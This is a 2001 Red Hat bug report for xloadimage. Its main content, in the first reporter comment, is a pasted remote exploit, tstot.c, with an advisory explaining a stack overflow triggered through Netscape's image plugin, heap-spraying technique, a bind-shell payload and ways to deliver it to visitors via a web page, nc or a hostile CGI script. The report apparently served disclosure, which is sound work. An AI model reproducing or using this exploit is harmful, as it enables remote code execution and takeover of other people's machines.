Bug 46186 - remotely exploitable overflow via Netscape
remotely exploitable overflow via Netscape
Product: Red Hat Linux
Classification: Retired
Component: xloadimage (Show other bugs)
i386 Linux
medium Severity medium
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Assigned To: Bill Nottingham
: Security
Depends On:
  Show dependency treegraph
Reported: 2001-06-27 07:33 EDT by Need Real Name
Modified: 2014-03-16 22:21 EDT (History)
2 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2001-06-28 12:07:24 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

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Description Need Real Name 2001-06-27 07:33:26 EDT
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.2.19-7.0.1 i686)

Description of problem:
A maliciously crafted file can cause xloadimage to run arbitrary code.

How reproducible:

Steps to Reproduce:
see attached file  - an exploit for the how to reproduce the problem.
Comment 1 Need Real Name 2001-06-27 07:43:43 EDT
Bugzilla doesn't won't to let me attach... it asks me for my username and
password each time i try do anything that makes a change, accepts it, lets me
get to the next part, then forgets and asks for them again... 
I guess I'll just paste it here then... coz i really can't be bothered posting
another bug for this. (Prolly something to do with corrupt cookies?)

     this code is only slightly protected from script kiddie abuse
            so you might want to deal with it quickly.
//                            tstot.c
                       zen-parse presents
             tstot.c - remote portbinding exploit for 
                         RedHat 7.0
                       Netscape 4.77

                  tt     sssss      tt      ooooo       tt
             tttttttt   ss     tttttttt   oo   oo  tttttttt
                tt      ssss      tt     oo   oo      tt    
               tt         ss     tt     oo   oo      tt      
              tt      ssss      tt      ooooo       tt      

        xloadimage has a remotely exploitable buffer overflow.

Exploit   :Sun Jun 24 21:34:04 2001 NZST 
Advisory  :Wed Jun 27 20:58:13 2001 NZST 


bash-2.05# chmod -x /usr/X11R6/bin/xloadimage

and wait for the update to become available.

NB: this 'fix' could break some other programs until its fixed.

/usr/X11R6/bin/xloadimage is a plugin, used by Netscape 4.77 (at least?),
via /usr/lib/netscape/plugins/plugger.so, to display certain types of
images (TIFF and Sun Rasterfile formats, as the setup in /etc/pluggerrc
has by default) in the Netscape browser window.
The problem is, xloadimage has an exploitable overflow in the handling of
FACES format images. How does that affect us? We are only using this 
program to view TIFF and Sun Rasterfile types, aren't we? Yes... but
the browser only bases the file type on the type its told by the webserver
and the webserver only (tends to?) base what type of file it is by the 

So pipe the output to a file called image.tif and put it on the server,
and reference it in a webpage. The server, when sending the file, does
exactly what it should, and sends to Netscape the header

Content-Type: image/tiff

which causes Netscape to look up in its internal tables, and see that this
type is handled by plugger.so. 

Netscape then calls the plugger.so handler, which looks up it's table, and
consulting /etc/pluggerrc sees:

image/tiff: tiff,tif: TIFF image
image/x-tiff: tiff,tif: TIFF image
image/sun-raster: rs: SUN raster image
image/x-sun-raster: rs: SUN raster image
        exits: xloadimage -quiet -windowid $window $file
        exits: display -window $window -backdrop $file

"Ok," it thinks, "I'm going to open up a TIFF image from $file with
xloadimage in $window. Not a problem."

Then it inserts the filename (which Netscape passes it, and points to a
file in the Netscape cache) and the windowid (which it was also passed by
Netscape) into the command and launches it.

xloadimage analyses the file, and determines that the file is actually a
32x32 8-bit grayscale Faces Project image, and not a TIFF image as the
http header and the extension of the file says, and continues to open it.

Then it launches our shellcode, due to a silly coding error.

The silly coding error looks something like this:

char buf[8200];
char fn[8200];
char ln[8200];
  // looks like trying to avoid an overflow ?
if(!(strncmp(buf, "FirstName:", 10)))
if(!(strncmp(buf, "LastName:", 10)))
strcat(fn,ln);  /// b00m. stack based overflow.


Because the overflow happens remotely, and its not easy to guess what the
user on the other end has in their environment jumping back into the stack
seems like it could be a bad idea.

So I jump into the middle of the malloced code.

This may be a little risky, because the malloc() addresses do vary over
different machines with different updates, and I can't really ask them
what versions of stuff they are running (except Netscape itself) so I pad
the heap with a large amount of jump/nop code before the overflow happens,
and jump into where there should be something (The short jmps are to jump
over the garbage between the chunks.)

0x080e1337 is around the middle of the area on my machine, and has
worked on a different machine as well, and it is also a 31337 address
to jump to ;]

If this doesn't work, it would be possible to increase the garbage
size so the target is bigger still by inserting a few more copies of
the lines between the // ...Garbage... lines.

There is of course the chance that the return address will land
between the padding, but thats life, isn't it?

In case you don't get it, 0xdeadbeef is for testing and the kiddies.

-- zen-parse

How to test:

bash-2.04$ make tstot
cc     tstot.c   -o tstot
bash-2.04$ ./tstot >tstot.tif
bash-2.04$ ls -al tstot.tif 
-rw-r--r--    1 evil     evil        75707 Jun 27 16:53 tstot.tif
bash-2.04$ gdb -q xloadimage
(no debugging symbols found)...(gdb) r evil.tif
Starting program: /usr/X11R6/bin/xloadimage evil.tif
(no debugging symbols found)...(no debugging symbols found)...
evil.tif is a  32x32 8-bit grayscale Faces Project image
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(another way of launching the exploit if you want is:

bash-2.04$ ./tstot something|nc -l -p 9876
and make a refresh in your html to it...

<META HTTP-EQUIV="Refresh" Content="1;url=http://youraddress:9876/">

This could also be made into an evil cgi-bin that checks for a
(potentially) vulnerable machine before firing it to them, and then
connects to the listening port and 0wns them with a local exploit.

The general warning:
 A program doesn't have to be setuid to cause problems. It just has
 to be run in a context that the exploiter wants to be able to execute
 code in.

 Just because the program you write is not going to be setuid, doesn't
 mean one day someone isn't going to use it some otherway where it is
 running with elevated privileges.

//#define TARGET 0x080e1337
//as 1337 as the 1337357 kiddies.
#define TARGET 0xdeadbeef 

// lamagra's port binding shell code (from bind.c in the sc.tar.gz)
char lamagra_bind_code[] =

// slight modification so it listens on 7465 instead of 3879
// TAGS is easier to remember ;]

char *
this (int doit)
  char *p;
  int v;
  p = (char *) malloc (8200);
  memset (p, 0x90, 8200);
  if (!doit)
    for (v = 0; v < 8100; v += 122)
        p[v] = 0xeb;
        p[v + 1] = 120;
  if (doit)
    memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
  p[8199] = 0;

  return p;

main (int argc)
  int z0, x = TARGET;
  int z1, y = x;
  int p;
  char *q;
  if (argc > 1)
    printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
  printf ("FirstName: %s\n", this (0));
  printf ("%s\n", &x);
// Begin Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
  printf ("%s", this (0));
// Begin Padding Heap With 'Garbage' (nop/jmp)
  printf ("%s", this (1));
  printf ("http://www.mp3.com/cosv\nPicData: 32 32 8\n");
  printf ("\n");
  for (p = 0; p < 9994; p += 1)
    printf ("A");

// EOF --  tstot.c  --

Comment 2 Need Real Name 2001-06-27 08:51:19 EDT
...and reference it in a webpage. 

It seems to need to be loaded in its own window to work.
Comment 3 Bill Nottingham 2001-06-28 12:07:18 EDT
looking into it - thanks.
Comment 4 Bill Nottingham 2001-07-10 15:19:02 EDT
Fixed in the errata.

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